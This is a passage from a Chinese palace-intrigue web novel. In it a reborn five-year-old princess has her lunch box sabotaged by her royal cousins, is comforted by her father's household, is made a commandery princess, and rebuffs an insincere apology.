秦芷嫣不配! 她的嬷嬷皱眉道:“太子妃,太子已经发话了,这事还闹到了皇上面前,咱们只能先还回去了。” “凭什么?这些都是我的!” 再说了,这些年下来,嫁妆都花了一半了,她怎么补啊? 秦芷媃眼底划过一丝狠意:“嬷嬷,找人毁了秦芷嫣,只要她被皇室厌弃,就没人找我要嫁妆了。” 嬷嬷有些迟疑:“可…可我们已经拜托过何少爷了,夫人传消息来说,何少爷到现在都还没回去,只怕…” “你让母亲别瞎想!”秦芷媃不耐烦道:“估计表哥拿了钱没办事,在他哪个红颜知己那乐不思蜀呢!” 如果何耀祖真的听话去见了秦芷嫣,秦芷嫣早被毁了,哪里还有这些事。 秦芷媃从没想过,何耀祖会死,一个弱女子哪里是成年男子的对手? 她只恨何耀祖拿钱不办事,恨秦芷嫣打她嫁妆的主意,更恨把这件事捅出来的唐蕊。 嬷嬷见她这样子,叹息一声道:“马上就是襄王妃生辰,到时候秦芷嫣肯定会去,我们可以在那个时候动手。” “也好!”想起襄王妃,秦芷媃头又开始疼了:“那个女人也很讨厌,不…几个王爷的王妃都讨厌,等我收拾完秦芷嫣再收拾她们!” 什么相亲相爱的皇族一家人,不存在的! 因为她母亲曾经是贵妾,身份也是几个妯娌中最低的一个。 几个妯娌没一个看得上她,好几次给她没脸。 那些难堪的过往,秦芷媃都一直记着呢! 若是唐蕊知道她的想法,肯定要叹息一句,圈子不同不相融。 每个阶级都有自己的朋友圈,你不属于这个圈子,为什么非要走进来呢? 这不是自讨没趣么? … 此时的唐蕊还在国学监,终于熬到了中午饭点。 一下课,她迫不及待的冲到食堂! 所谓食堂就是一个吃饭的雅舍,大家带来的食盒由专人一直温着。 差不多饭点的时候,这些人会把食盒提到食堂,每个食堂上都有萝卜头们的名字,也不会认错。 唐蕊第一个到达食堂,第一时间看到了自己的食盒。 无他,她的食盒是最大哒! 司徒安追着她第二个到达目的地,累得不停喘气:“你…跑这么快干嘛啊?” 最让他郁闷的是,他突然发现,自己的体力居然不如一个五岁的奶娃娃。 “吃饭了吖,干饭不积极,思想有问题!”唐蕊吃力的爬上凳子,打开了自己的食盒。 然而下一秒,她脸上的笑容缓缓消失,愣愣的看着食盒里的东西,嘴巴一瘪,眼泪在眼眶里打转。 第17章 我要回家呜呜呜… “怎么了?”司徒安也提着自己的食盒坐了过来,往她食盒一瞅,脸色骤变:“谁这么缺德啊?” 只见唐蕊的食盒里,香喷喷的焖鸡上漂浮着一堆被淹死的蚂蚁,卤牛肉上都是死苍蝇,金灿灿的烧鸡上还放着一只死老鼠。 “啥情况?”顾楠聿和其他萝卜头也来了,凑过来一看,脸色一阵莫名,几乎瞬间看向司徒嫱。 司徒嫱毫不掩饰自己的幸灾乐祸:“野种就是野种,太恶心了,居然喜欢吃这些东西。” 其他几个不明所以的萝卜头也怀疑的看着唐蕊。 这…真的假的? 口味这么刁钻的吗? 他们看着都恶心,唐蕊居然喜欢吃这些。 可怜的唐蕊,被师傅踹的时候没哭,被蛇咬的时候没哭,现在看着自己香喷喷的食物变成了这样,终于没忍住,哇的一声哭了出来。 她是真不想哭的,可是完全控制不住自己的情绪以及愤怒。 “别哭,别哭啊,我的膳食给你吃就是了。”司徒安不停给她擦眼泪,可这妮子的眼泪反倒越擦越多。 看到唐蕊难过,司徒嫱表示很开心。 司徒瑾更是笑得前俯后仰,拍着手笑她:“恶心的野种,爱吃老鼠,哈哈哈…” 唐蕊挥开司徒安,哇哇大哭着抱起自己的食盒,全都泼向司徒瑾。、 司徒瑾被汤汤水水淋了一脸,头上还顶着个死耗子,一时间都懵了。 回过神后,他赶紧甩掉头上的死耗子,恶狠狠的指着唐蕊:“你发什么疯?” 司徒嫱也怒道:“唐蕊,你敢欺负我弟弟,给他道歉。” “道…呜呜…道个屁…” 唐蕊擦掉眼泪,小手握拳,努力控制住想哭的冲动,掷地有声道:“是你们毁了我的饭菜,还要我道歉,没门!” 司徒瑾眼底心虚一闪而逝,更大声的吼了回去:“放屁,你有什么证据?” “…”除了你们,谁还这么无聊? 唐蕊:“那你又有什么证据,证明不是你们做的?” “你…”司徒瑾噎住了。 司徒嫱脸色发沉:“唐蕊,你别污蔑好人,我和弟弟一直在上课,哪有时间往你食盒里放那些东西?” “你们用得着亲自动手吗?你们不承认没关系,敢毁我饭菜,国学监我不来了,我要回家,皇爷爷问起来我会实话实说,到时候皇爷爷自然会派人查证,还是你们觉得自己做的天衣无缝,就算是皇爷爷都查不到吗?” 唐蕊又擦了一把眼泪,跳下板凳往外走去。 到底都是些孩子,哪有那些深的心机。 被唐蕊一吓,司徒瑾慌了,想都没想大声道:“你给我站住。” “你让我站住我就站住,你算什么东西?我就不,我要回家呜呜呜…”唐蕊迈着小短腿很快跑没影了。 “司徒瑾,司徒嫱,回宫后我会向父皇禀告此事,你们好自为之。”司徒安扔下一句狠话,赶紧追了出去。 司徒瑾闻言脸色一白。 在座的萝卜头哪个不是人精呀,司徒瑾这样子已经说明一切了。 “欺骗皇上,可是欺君之罪呀!”顾楠聿似笑非笑的看了司徒瑾一眼,慢悠悠的提着食盒找了个位置,自顾自用膳。 其他萝卜头们互视一眼,也纷纷散开了。 司徒瑾闻言脸色更白了,几乎第一时间就打消了说谎的想法。 可…怎么办啊? “姐…”司徒瑾看向司徒嫱,快哭了。 司徒嫱瞪了他一眼,恨铁不成钢小声道:“怕什么?让你的人嘴巴闭严不就行了?” “可…皇爷爷要是真问起来,我的人也没那胆子欺君啊!” “皇爷爷日理万机,怎么会管这些小事?唐蕊吓唬你的。” 其实司徒嫱也拿不准,但现在只能先稳住自家弟弟:“就算皇爷爷真问起来,大不了你实话实说就是了,你也是皇爷爷的孙子,难道皇爷爷还会为这事不要你这个孙子不成?” “也是…”司徒瑾有被安慰到,也没想到后果会多严重。 … 司徒安是在国学监门口追上唐蕊的:“你一个小娃娃,别乱跑啊!” 唐蕊瘪嘴,泪眼花花,肚子还适时响起咕咕声:“可我想回家。” 司徒安无奈道:“群英楼的烤鸭不错,我请你吃好不好?等你吃完再送你回去。” “好!皇叔你人真好!”有吃的,不吃白不吃。 司徒安此时还不知道,面前这个小包子的恐怖食量。 他让一个奴才去给周学士报信,又让另一个奴才架来马车,带着小包子去了群英楼。 然后… 眼睁睁的看着小团子炫了七只烤鸭! 司徒安全程目瞪口呆! 唐蕊擦了擦嘴,看着满桌狼藉,也有点不好意思了:“小皇叔,我是不是吃太多乐?” 司徒安手动合上自己的嘴,木着一张脸:“也不是,我就好奇你吃哪儿去了。” 这肚子虽然圆滚滚的,但怎么看也不像是能装下七只烤鸭的容量吧? “我也布吉岛哦,我饭量一直都很大!”唐蕊说罢,又摸了摸自己的肚皮,冲他无齿一笑:“谢谢小皇叔招待,要不要去我家哇?我让我的嬷嬷给你做奶茶喝。” “奶茶?”司徒安果然被转移了注意力:“那是什么东西?” “走,你去了就知道了!” 唐蕊把司徒安带回了璃王府,容嬷嬷见唐蕊回来,还愣了一下:“小主子,您…不是去国学监了吗?下学这么早?” “别提乐…”唐蕊小大人似的叹了口气:“嬷嬷,小皇叔送我回来的,可不可以做点奶茶给他尝尝?” “当然可以!”容嬷嬷敢说不可以吗! “十一皇子,您先坐坐,老奴这就去给你做奶茶!” 容嬷嬷说罢朝十一皇子福了福身子,离开翠微阁后,立刻喊了个下人,去向王妃禀告此事。 等她做好奶茶端来的时候,璃王妃已经来了,还带着朱庶妃、李姬和张姬。 她家小主子此时正窝在王妃怀里,一把鼻涕一把泪告状。 璃王妃气得浑身发抖:“欺负一个五岁的娃娃,他俩还要不要脸?” 第18章 都有,都有哈 朱庶妃捞起袖子:“秦芷媃那个狗东西,到底会不会教孩子?” 李云霜义愤填膺:“这事不能就这么算了,王爷呢?王爷知道这事吗?” “王爷出门还没回来!”张姬摸了摸腰间的软剑:“宰了吧?我今晚就去!” 朱庶妃白了她一眼:“好歹是皇子凤孙,宰了给太子机会朝我们璃王府发难吗?” 张姬皱眉:“那你说怎么办?” 朱庶妃阴狠一笑:“当然是下毒,神不知鬼不觉,弄死那两个小兔崽子!” 李姬冷笑:“那也太便宜他们了,要我说咱们王爷就是太没野心了,孩子被欺负都是父母无能,换成我,弄死太子自己上位不行吗?到时候谁还敢欺负我们家的崽?” 张姬摸着下巴:“好主意,太子德不配位,咱们造反吧!” 朱庶妃举双手:“赞成!” 一旁的司徒安听着这一句句的,眉心狂跳。 怎么…七皇兄的女人们,一个比一个可怕? 跟她们比起来,他突然觉得自家恐怖的母妃好像也不是那么恐怖了。 璃王妃注意到了司徒安,眼尾一抽,轻咳一声:“都闭嘴吧,还有客人在这呢!十一皇子,她们开玩笑呢,我家王爷不可能造反的。” 朱庶妃、李姬和张姬的目光顿时唰唰唰投向司徒安。 司徒安默默后退一步,尬笑:“皇嫂说笑了,我什么都没听到。” 还能活着走出璃王府吗? 知道这么多,不会被灭口吧? “小皇叔,母妃和庶母都是开玩笑哒,你别告状哦!”唐蕊瞟到了容嬷嬷,赶紧岔开话题:“嬷嬷,快把奶茶端来给小皇叔尝尝。” “来、来了!”容嬷嬷硬扯出一抹笑,奉上奶茶。 主子们也是,说话咋不分场合呢! 还好司徒安没放在心上,注意力很快被奶茶吸引了:“哇,这个好好喝。” “好喝吧?嬷嬷,麻烦你给小皇叔打包一些哦。”唐蕊也端起杯子喝了一大口。 “我也要!”唐蕊要是小吃货,朱庶妃就是大吃货,立刻看了过来。 “都有都有!”嬷嬷给每个主子都准备了,又把手里的食盒递给司徒安,笑道:“我就知道十一皇子喜欢喝,所以多做了一些,给您带回宫里去。” “谢谢!”司徒安接过食盒,又看向唐蕊:“明天你真不去国学监了吗?” 唐瑞摇摇头:“不去乐!” 本来她就不想去,每天天不亮就要起来,多累啊! 前世父母不让她出国念书,非要中式教育。 为了考上清大,她废寝忘食被折磨了三年。 难得重生一次,可不想再过这种日子。 司徒瑾和司徒嫱整她最好,她也有抗旨的借口了。 司徒安本想劝的,可想了想还是算了,准备回宫告诉父皇这事,父皇知道了会解决的。 “那好吧,时候不早了,我先回宫了,以后我会常来找你玩的。”奶茶也喝了,还打了包,司徒安告辞了。 璃王妃爱怜的揉了揉唐蕊脑瓜子:“蕊蕊,真不去国学监了吗?王爷怕是不会同意。” 唐蕊还没开口,朱庶妃就道:“还去个屁,起那么早,还要被人欺负,皇上要是不惩罚那两个熊孩子,蕊蕊就不去了。反正她还是个孩子,耍耍脾气怎么了?” “看王爷咋说吧!”璃王妃很也气愤。 但唐蕊去不去国学监,她做不了主。 没一会儿,宣旨太监带着册封唐蕊为郡主的圣旨来了。 除了圣旨,还有各种赏赐。 其他的就算了,那两匹浮光锦尤其珍贵,还有皇帝承诺的一颗超大号夜明珠。 宣旨太监兰花指一翘:“皇上可看重郡主了,东临进贡的浮光锦就五匹,除了皇后和贵妃,宫里其他娘娘都没有呢!” “谢谢,谢谢皇爷爷!”唐蕊从容嬷嬷手里拿了个荷包,踮起脚尖递给宣旨公公:“公公也辛苦啦,请你喝茶哦。” “哎哟喂,奴才谢郡主赏赐!”宣旨公公乐呵呵的接了过来,带着其他太监离开了。 接下来到了‘分赃’环节。 唐蕊的宗旨就是,见者有份。 她先是把一幅红宝石头面给了璃王妃:“母妃,这个给你哦。” 璃王妃连连摆手:“使不得,这是皇上给你的。” 唐蕊一本正经:“可我还没到戴这个的年纪哦,你是爹爹正妃,大红色最适合你啦!” 璃王妃心里感动:“那…母妃先帮你保管!” 唐蕊又拿了两个玉镯,分别给朱庶妃和李姬,最后拿了一把镶着蓝宝石的匕首给了张姬。 小嘴还不停叭叭:“都有,都有哈!” “哟,我们都有份啊?”女人们乐了。 “那必须,我们是一家人,见者有份哦。” 女人们被她这小可爱的样子逗乐了,翠微阁一片欢声笑语。 顾侧妃路过翠微阁,听着里面传来的笑声,不由得停下了脚步。 婢女秋容看了里面一眼,试探性问道:“侧妃,要进去看看小主子吗?” “以后得叫她郡主。”顾侧妃摇摇头,眼底划过一丝失落:“我和她们终究不是一路人,就不进去讨人嫌了。” 婢女纠结了一下,还是没忍住,鼓起勇气劝道:“侧妃,王妃人不错,其他主子也很好,其实你也可以和她们成为一路人的。” 也不知道是因为璃王不能人道,还是因为别的什么原因,璃王府后院是她见过最清净的后院。 每个主子都很好相处,也没什么勾心斗角。 王妃能力不足,但是公正又善良,从不打压别的女人,对府里的奴才们也很和善。 朱庶妃没心眼,只知道吃,从不惹事。 李姬财大气粗,还很单纯,没事就买买买,也不给谁添麻烦。 张姬武功高强,唐蕊没来时,她几乎就待在自己院里,很少出来,每天舞刀弄枪。 唯一一个有心眼的刘姬,现在也不知道去哪儿了。 霜蓉随顾侧妃陪嫁到璃王府,准备好的各种手段完全都没地施展。 一开始她也觉得璃王府的后院很奇葩,谁家后院的女人不是斗得死去活来啊? 怎么就璃王的后院如此风平浪静? 时间久了,她也习惯了,觉得这样也挺好。 谁不想安安生生过日子啊? 自家主子能嫁到璃王府,那是主子的福气呢! 可主子…眼里只有太子… 第19章 一天被喷两次的太子 她也是搞不懂,论德行,论容貌,论本事,太子哪能跟璃王比? 自家主子怎么就想不开呢? 顾侧妃摇摇头,低头看着腰间的玉佩,眼底划过一丝柔色:“他救过我,只要他和璃王敌对一天,我就永远不可能跟璃王的女人们成为一路人,以后这话不要再说。” “…”可太子要是真喜欢你,怎么会让你嫁进璃王府,帮他盯着璃王啊? 霜蓉长长的叹了一口气,不再劝了。 不管是谁,永远都叫不醒一个装睡的人。 … 皇宫! 皇帝正在逼问司徒澈,唐蕊的生母是谁。 司徒澈被问烦了:“儿臣真不知道。” 皇帝才不信呢:“你不知道,那唐蕊哪儿来的?” 司徒澈:“…”我怎么可能告诉你,我被一个乔装打扮混入军营里的陌生女人给强了? 我不要脸的吗? 司徒澈揉了揉眉心:“父皇,那女人都死了,你也别再问了。” 皇帝瞪着他道:“朕不知道吗?可她毕竟是唐蕊的生母,让你没有断子绝孙的恩人,你至少要给人家立个牌位吧?” 司徒澈:“…” 还恩人呢,立牌位呢,我是不知道她埋哪儿了,不然都要掘了她坟信不? 皇帝见他真不想说,也不问了:“总之有后就好,朕也在派人打听神医谷位置,你的腿还是有希望的。” “但愿!”司徒澈不想讨论这个沉重的话题。 老九多年来一直在帮他寻找神医谷,哪里是那么好找的。 就在这时,司徒安来了,还提着一个食盒。 看到司徒澈,还愣了一下:“七皇兄也在。” 司徒澈点点头。 皇帝看到他一肚子气:“你又逃学了?” “儿臣没有!”司徒安委屈巴巴把国学监的事说了,还奉上了食盒:“儿臣送小侄女回去后,她让人做了奶茶,儿臣还特意给您带了一份。” 皇帝闻言脸色阴沉下来:“太子的几个孩子,越来越不像话了。” 司徒澈讥讽道:“谁叫你让他做太子?他那几个孩子本来就没教好,现在更是目中无人了。” “…”你以为老子想啊? 皇帝气呼呼的瞪着这个儿子,直接迁怒:“说来说去还不是怪你,要不是你变成了这样,这个太子轮得到老二?” 司徒安撇撇嘴:“父皇偏心,儿臣也可以做太子啊,父皇为什么不考虑儿臣?” “让你做太子?你还能长这么大?”皇帝一脚踹了过去:“给朕滚,文不成武不就,看到你就心烦!” 司徒安结结实实挨了一脚,捂着自己的屁股溜了溜了,出殿门的时候头也不回放下狠话:“别瞧不起人,莫欺少年穷!” 皇帝老脸一黑,操起毛笔砸了过去。 也只有在幺子和司徒澈面前,他才像一个寻常的父亲。 司徒澈扬唇一笑:“儿臣也告辞了,唐蕊受了欺负,指不定怎么哭呢!” “去吧!”皇帝摆摆手:“但国学监还是要去,唐蕊这孩子早慧,别耽误了。” “儿臣遵旨!” 司徒澈离开后,皇帝让人又把太子叫过来喷了一遍,最后附送一句:“唐蕊一日不去国学监,你那三个儿女也别去了。” 一天被喷两次的太子:“…” 很好! 很好! 太子妃不靠谱,连几个孩子也不靠谱! 他这还没登基呢,家里女的小的不帮忙就算了,还尽给他添乱。 是觉得他这太子的位置很稳了吗? 太子黑着脸回到东宫,等三个孩子回来后,第一时间把他们叫到了面前询问。 小女儿司徒薇沉默。 二儿子司徒瑾支支吾吾。 大女儿司徒嫱咬咬牙:“这事不…” “司徒嫱!”太子打断她的话,看着她的眼神很冷:“你先想好,对孤撒谎的后果承不承担得起!” 司徒嫱默默闭了嘴,垂下眼眸。 司徒瑾:“父王,你别怪姐姐,都是我干的。” “你倒是维护你姐姐!” 太子冷笑道:“你们皇爷爷说了,唐蕊一天不去国学监,你们也别去了。所以,你们想好该怎么办了吗?” 三个孩子闻言愣住了。 不去国学监? 哪个王爷的孩子不去国学监啊? 他们是庶子庶女,地位本来就比不过嫡子嫡女。 要是被那些嫡出的知道,还不知道要怎么笑话他们。 司徒瑾急了:“父王,我们不能不去国学监啊!” 太子深吸一口气:“现在,孤是在问你们,打算怎么办?” 司徒瑾哪里知道该怎么办,求助似的看向司徒嫱。 司徒嫱一脸不服:“凭什么?唐蕊明明是私生女,皇爷爷为什么要为了她为难我们?” 太子眼底划过一丝失望。 他一直在问他们该怎么办,可这两个孩子却根本拿不出办法来。 只知道惹祸,完全没有解决问题的能力。 废了! 就在这时,一直没吭声的司徒薇道:“我们可以赔偿。” 司徒嫱闻言怒了:“凭什么赔偿?她就是要一个私生女,我们…” “闭嘴!”太子怒斥出声。 司徒嫱脸色一僵,愤愤不岔的闭了嘴。 太子冷冷的看了她一眼,这才看向一直忽略的小女儿:“司徒薇,继续说。” 司徒薇低眉顺眼道:“唐蕊看起来很缺钱,若是送钱,她应该会开心。这事说到底是我们不占理,唐蕊是不是私生女不重要,生母是谁也不重要,重要的是皇爷爷喜欢她。我们也不是给她面子,而是给皇爷爷面子。以后若是想教训她,也不用这么明目张胆,被抓到错处。” 太子满意的点点头。 还好! 有一个没废! 可惜是个庶女! “你退下吧!”太子说罢,又看向司徒嫱和司徒瑾:“至于你们俩,给孤在这跪着!” 司徒瑾委屈巴巴。 司徒嫱瞪了司徒薇一眼。 司徒薇还是那副胆小懦弱的模样,适时缩了缩脖子。 心里却很不屑! 娘亲说得没错,蠢不可怕,最可怕的是又蠢又毒。 就这种蠢货还想做郡主? 唐蕊年纪虽小,却根本不像表面看起来那么单纯。 她倒是多希望长姐继续去招惹唐蕊,按照唐蕊那不吃亏的性子,长姐再怎么折腾都是自讨苦吃。 总有一天父王会彻底厌弃长姐。 第20章 你就是讨厌我 璃王府! 司徒澈一回来,就去了唐蕊院儿里。 唐蕊还没来得及扑过去卖萌撒娇,就听他道:“国学监还是要去,这是皇命,皇命不可违。” 唐蕊及时刹车,一秒换上可怜兮兮的表情,不停回想前世难过的事,硬生生的挤出两滴眼泪,控诉的看着他:“爹爹,我都被人欺负成啥样了哦,你还要我去国学监,所以爱会消失的对不对?你不爱我了对不对?” “…”到底谁教你这么说话的? 司徒澈伸出食指揉着太阳穴,感觉脑仁又开始嗡嗡疼了:“哪个女子经常把爱不爱挂嘴边的?我看你不光要去国学监学习,还有必要去宫里请个老嬷嬷来好好教教你规矩。” 唐蕊闻言犹如晴天霹雳,泪珠子掉得更凶了,这次不是装的:“爹,如果你讨厌我,我走就是了,为什么要这么折磨我?” 司徒澈:“…让你去国学监,教你规矩,不是为你好吗?怎么就变成讨厌你了?” 他自诩学富五车,但有时候真是不了解这孩子的脑回路。 “真爱一个人的话,不管她什么样子都会爱啊!”唐蕊抹了一把泪,握着小拳拳反驳:“你就是讨厌我,算了,别解释,解释就是掩饰,我走!” 司徒澈张了张嘴…词穷了… 他…居然诡异的觉得这话非常有道理。 既然爱一个人,当然是什么样子都爱,如果改变了她,那她还是她吗? 就在司徒澈绞尽脑汁想着要怎么劝的时候,唐蕊顺手扯下了床幔,哭唧唧的往地上一铺,开始打包。 表情很专业,难过得就像是死了亲爹一样。 只是往床幔上扔的东西不是银子银票就是值钱首饰。 偏偏容嬷嬷和翠微阁的奴才们还都当真了,一个个鬼哭狼嚎上前阻止。 “小郡主使不得啊!” “小郡主你别想不开啊!” “王爷,您就别逼小郡主了,她都要走了啊!” 司徒澈“…” 得,他成了恶人! 还是拆散唐蕊和奴才们的恶人! “别拉我,我要离开这个伤心地,找个没人认识我的地方重新开始生活!” 唐蕊一边哭,一边吃力的拖着比她大一倍的包裹。 奴才们一个个拖着包裹,死活不让她走。 “…”服了! 演起来比戏子还专业! “够了!”司徒忍无可忍呵斥。 奴才们吓了一跳,一秒松手。 唐蕊正跟老牛一样往前拖包裹呢,奴才们一松手,她都没刹住车,往前栽倒,脸先着地! 司徒澈:“…” “小郡主!”容嬷嬷赶紧冲过去把人抱起来。 可可爱爱的团子灰头土脸,鼻子都红了,一串鼻血流了出来。 “哇…”唐蕊懵了几秒,一个没忍住嚎啕大哭起来。 完全控制不住啊啊啊! 鼻子好痛! 容嬷嬷心疼极了:“小郡主,别哭别哭,嬷嬷给你吹吹哦。” “快去请府医!”司徒澈也没想到会这样啊! “疼…哇呜呜呜…”鼻子痛死了。 死嘴别哭啊! 感觉鼻涕也出来了。 唐蕊觉得自己好丢人! 嬷嬷不安慰还好,越安慰她忍不住哭。 哭声这么大,自然也惊动了璃王妃。 她带着人匆匆赶来时,看到的就是唐蕊鼻血横飞的样子,吓得的都白了脸。 璃王府一阵鸡飞狗跳! 没一会儿府医来了,给唐蕊的鼻子上了点药。 痛感过去,唐蕊才渐渐停止了哭声,只是不时一抽一抽的,眼睛通红,实在可怜。 “好点没?”璃王细细打量着她的脸,止不住的心疼! “嗯…嗝…”唐蕊挺不好意思的。 毕竟她不是真的小孩子,而是一个成年人。 原本只是想吓吓便宜爹,不天天早起去国学监而已,谁知道会出这么大的丑! 璃王妃咬了咬唇,为难的看向司徒澈:“王爷,要不…这国学监就不去了吧?” 司徒澈皱眉道:“都说了这是皇命,她不懂事,你也不懂事?违抗皇命是什么罪,你难道不清楚吗?” 璃王妃抿了抿唇,下意识后退一步,眼底划过一丝受伤,被眼尖的唐蕊捕捉到了。 唐蕊当即不干了:“爹爹,不准…嗝…欺负母妃,国学监而已,我去了就是了。” “…”刚刚你可不是这么说的。 司徒澈心里有点小不爽。 明明他才是亲爹,怎么女儿好像更看重王妃呢? 别是真把王妃当娘了吧? 璃王妃赶紧道:“蕊蕊乖,你爹爹没有欺负我,确实是我说错话了。让你去国学监是父皇的意思,就算是你爹爹也无能为力。” “我知道哦…”就是不想早起啊! 前世高中三年,她起得比鸡早,睡得比狗晚。 这辈子都有这么高的身份了,就不能让她好好当只米虫吗? 再说了,这时代国学监类似康熙年间皇子们上课的时间。 五点就要起啊! 还好不像康熙年间,一天只有两顿饭,不然她绝对会跑回神医谷去。 抗争无效,自己还吃了亏,再闹就没意思了。 唐蕊小大人似的叹了口气:“我会去国学监的,爹爹和母妃别担心了哦!” “蕊蕊真听话!”璃王妃夸了一句。 司徒澈脸色缓和下来:“你今天被欺负了,可以在家休息几天。” 太子那边还没反应呢! 没猜错的话,明天应该就会表态了。 “行叭!”唐蕊知道这已经是最大的让步了:“爹爹,能给我找个伴读吗?” 司徒澈点点头:“自然,你看中谁,带去国学监就是了。” 翠微阁伺候的侍婢们一听这话,心思都活络开来。 贵女陪读说白了,就是这贵女的贴身侍婢。 待遇好,地位高,一直贴身伺候主子,年纪大了,就变成了所谓的嬷嬷。 如果运气好得宠,或许还能求得主子恩典,恢复良籍,或者嫁人。 唐蕊还没贴身侍婢,她们都有机会! 于是,司徒澈和璃王妃离开后,翠微阁的奴婢们对唐蕊越发细心了,对容嬷嬷也越讨好了。 一晚上下来,容嬷嬷收到了N个鼓鼓的荷包。 容嬷嬷不动声色,把这些荷包全都给了唐蕊。 唐蕊小手一挥:“她们孝敬你,你收着就是了。” “是!”得到允许,容嬷嬷这才收起荷包。 唐蕊现在暂时不缺钱,就算缺也不会拿嬷嬷的钱。 她现在更关心的是自己的蛊。 唐蕊跑到院子角落,那里整整齐齐放着四个陶罐。 第21章 司徒薇上门 容嬷嬷看她摆弄那几个罐子,眉心一阵狂跳,给大格和二格使了个眼色。 两人秒懂,来到唐蕊身边,一左一右就像两个护法金刚。 四只眼睛死死的盯着唐蕊的罐子,浑身紧绷,随时准备第一时间营救。 二格甚至捡了块石头对着罐子举起来,一副随时可砸的架势。 藏在暗处的明月眯起眼眸,也扯下一片树叶蓄势待发。 唐蕊没管大格二格,一手拿出包药粉,一手快速打开盖子把药洒了进去,又立刻盖上盖子。 隔了一会儿,才又打开盖子。 这时里面的东西已经没动静了。 唐蕊满意的点点头,拿起匕首,想划破自己的手指滴血进去。 可大格却眼疾手快夺过她的匕首,容嬷嬷慢了一步,大惊失色:“小郡主,你这是做什么?” “别大惊小怪,养蛊肯定要喂自己的血昂,不然炼出来的蛊虫不会乖乖听我的话哦。” 唐蕊踮起脚尖,从大格手里拿回匕首继续操作。 容嬷嬷想劝,可又不懂蛊虫这种东西,一点忙都帮不上:“郡主,别人的血不行吗?” “不行哦,用谁的血养出来的蛊就听谁的话。” “那…那你这真能炼出蛊虫来吗?” 直到现在她都还有些不信。 但,唐蕊的手法又好熟练的样子,明显不是第一次这么干了。 之前她就注意到唐蕊手指上有几道轻微的划痕,还以为是自己的错觉。 原来划痕是这么来的。 “肯定能!”唐蕊信誓旦旦说完,又阴恻恻的笑了起来,就…很阴间:“以后司徒嫱和司徒瑾再毁我的食物,我就放蛊整死他们!” 容嬷嬷脸色一僵,尬笑道:“倒也不必…这么狠…食物而已,对璃王府来说也不是多珍贵的东西…” 为了点吃的杀人,杀的还是皇子凤孙,过了哈! 谁知… 唐蕊突然一本正经道:“容嬷嬷,老天爷让这世界有了春夏秋冬,有了适应种植的气候,以及可种植的土地,浪费粮食会遭天谴的哦。” 容嬷嬷闻言一愣,这么说…好像也没毛病。 “别人我管不着,但我会尽量做到不浪费食物哈。” 前世的外公是位有机农业专家,她从小也耳濡目染。 她比谁都清楚,农民种植有多么辛苦。 但这是古代,古代阶级森严,贵族怎么会对农民的辛苦感同身受呢? 让古代生活在贵圈里的人去尊重农民,体会农民,别人只会觉得她有病,还不如换种说法。 “小郡主说得对,以后老奴和小郡主一起,尽量做到不浪费食物。” 古人大多迷信,容嬷嬷果然听进去了。 见唐蕊照样画葫芦,往每个陶罐里都滴了血,容嬷嬷赶紧招呼大格去拿药膏来。 唐蕊:“…” 倒也不必,再过会儿估计都愈合了。 处理完自己的宝贝蛊虫们,唐蕊这才回屋睡觉。 每当这个时候,她都很想师傅。 师傅肯定也很想她。 嗯,想打死她。 毕竟她偷摸了师傅那么多毒粉… … 翌日中午。 唐蕊终于睡到自然醒。 舒坦啊… 刚用过午膳,璃王妃就差人来告诉她,司徒薇来了。 “司徒薇?谁?”唐蕊对这个名字没印象。 容嬷嬷给她普及:“是太子的三女儿,也是庶女。小郡主,王妃的意思是,你不想见就不见,不用委屈自己。” “去看看叭!” 伸手不打笑脸人嘛,人家来都来了。 她也挺好奇,这个司徒薇见她干啥。 唐蕊任由容嬷嬷给她梳妆打扮,这才慢悠悠去了厅堂。 司徒薇已经等候多时了,却没有半点不耐烦。 看到她还朝她福了福身子,露出一个可可爱爱的笑:“堂妹,叨扰你了。” “不叨扰哦。”唐蕊爬上椅子坐下,容嬷嬷也适时递上奶瓶。 司徒薇不动声色观察着她。 扎着两个发包包,颊边还留着碎发,显得团子奶白奶白的,大大的眼睛黝黑明亮,很是可爱。 司徒薇却完全喜欢不起来,视线也落在唐蕊的头饰上。 那是一枚镶嵌着粉色小珍珠的蝴蝶珠花。 粉色珍珠很稀有,也很贵,更别说色泽这么好的珍珠。 一个私生女而已… 别说司徒嫱,连她都有些嫉妒了。 司徒薇垂下眼眸,长长的睫毛洒下大片阴影,遮住了眼底的情绪:“堂妹,我是来替姐姐赔不是的,希望你不要跟她置气。” 唐蕊还没开口,一道声音传来:“听说东宫来人了,人呢?我看是哪个…” 赶来的朱庶妃看到司徒薇,眉头一皱,要说的话也咽了回去。 唐蕊回头一看,朱庶妃、张姬和李姬都来了:“朱庶母,张庶母,李庶母,你们怎么来啦?” “东宫不是来人了嘛,快月底了,王妃姐姐忙着查账,不放心你,就让我们来盯着!” 张姬说罢,无语的看向司徒薇:“怎么就派这么个小不点来道歉?” 李姬冷漠脸:“很明显,看不起我们璃王府。” “都少说一句吧!”朱庶妃打断了两人,眉宇间有些烦躁。 来的是大人还好,派个小孩子来,她们都不好欺负她了。 司徒薇朝三人礼貌的点点头,又拿出十张一百两的银票双手递给唐蕊:“堂妹,这些是赔礼,我父王已经教训过姐姐了,以后她再也不会欺负你了。” “切…”李姬懒懒的扶了扶发髻,默默的翻了个白眼:“就一千两银票,瞧不起谁呢,我一顿饭都不止这个数!” 一次又一次的打断她说话,司徒薇再好的脾气都忍不住了,小脸沉了下来。 她身旁的婢女皱眉道:“你们璃王府别欺人太甚,我家主子好歹是太子殿下的女儿,你们三个不过是璃王的妾室,怎么敢这么跟我家主子说话?” “那你又是什么身份哦?这里有你说话的份么?” 唐蕊第一时间护着庶母们,冷冷的看着那个婢女:“我的庶母们再不济也是爹爹的女人,轮得到你一个奴才在这里说三道四?” 婢女噎了一下,很不服气道:“奴婢是没资格,但奴婢代替的是我家小主子。” 第22章 太子对她不冷不热 唐蕊不紧不慢道:“所以你是觉得,你家小主子比我这个皇爷爷亲封的郡主身份更尊贵吗?” 婢女怒道:“什么郡主,不过就是一个…” “住嘴!”司徒薇见婢女越说越离谱,赶紧喝止住她:“不管堂妹以前是什么身份,现在都是皇爷爷亲封的昭华郡主,不得对她不敬。” “…”你是个会说话的,但我听得懂。 唐蕊转身就走:“我看堂姐也不是真心实意来道歉的,还是回去吧,本郡主就不奉陪了。” “堂妹!”司徒薇急了,赶紧拉住了她的衣袖:“我没有不真心,如果你觉得银票太少了,想要其他补偿,我们也可以商量!还希望你赶紧回国学监去上学,多耽误一天,对你自己也不好。” “你说这些话的时候,还是先把你眼底的嫉妒收收吧!明明就不是真心来道歉的,装什么装?” 唐蕊面无表情抽回自己的衣袖:“来人,送客!” 